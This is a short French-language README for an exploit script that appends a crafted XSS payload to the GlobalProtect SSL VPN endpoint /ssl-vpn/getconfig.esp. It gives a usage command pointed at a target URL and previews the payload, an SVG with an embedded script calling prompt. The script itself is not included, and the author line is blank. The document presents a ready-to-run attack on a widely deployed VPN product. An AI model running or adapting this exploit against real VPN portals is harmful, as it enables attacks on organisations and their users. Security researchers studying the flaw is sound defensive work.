mitsec_vpn_xss_exploit

🔓 Exploit pour le point de terminaison GlobalProtect SSL VPN /ssl-vpn/getconfig.esp qui ajoute une charge utile XSS conçue à l'URL.

Utilisation

python3 exploit.py -u https://target.com

Paramètres

• -u, --url : URL cible de base (ne pas inclure les paramètres de requête)

Aperçu de la charge utile

<svg xmlns="http://www.w3.org/2000/svg"><script>prompt("mitsec")</script></svg>

Auteur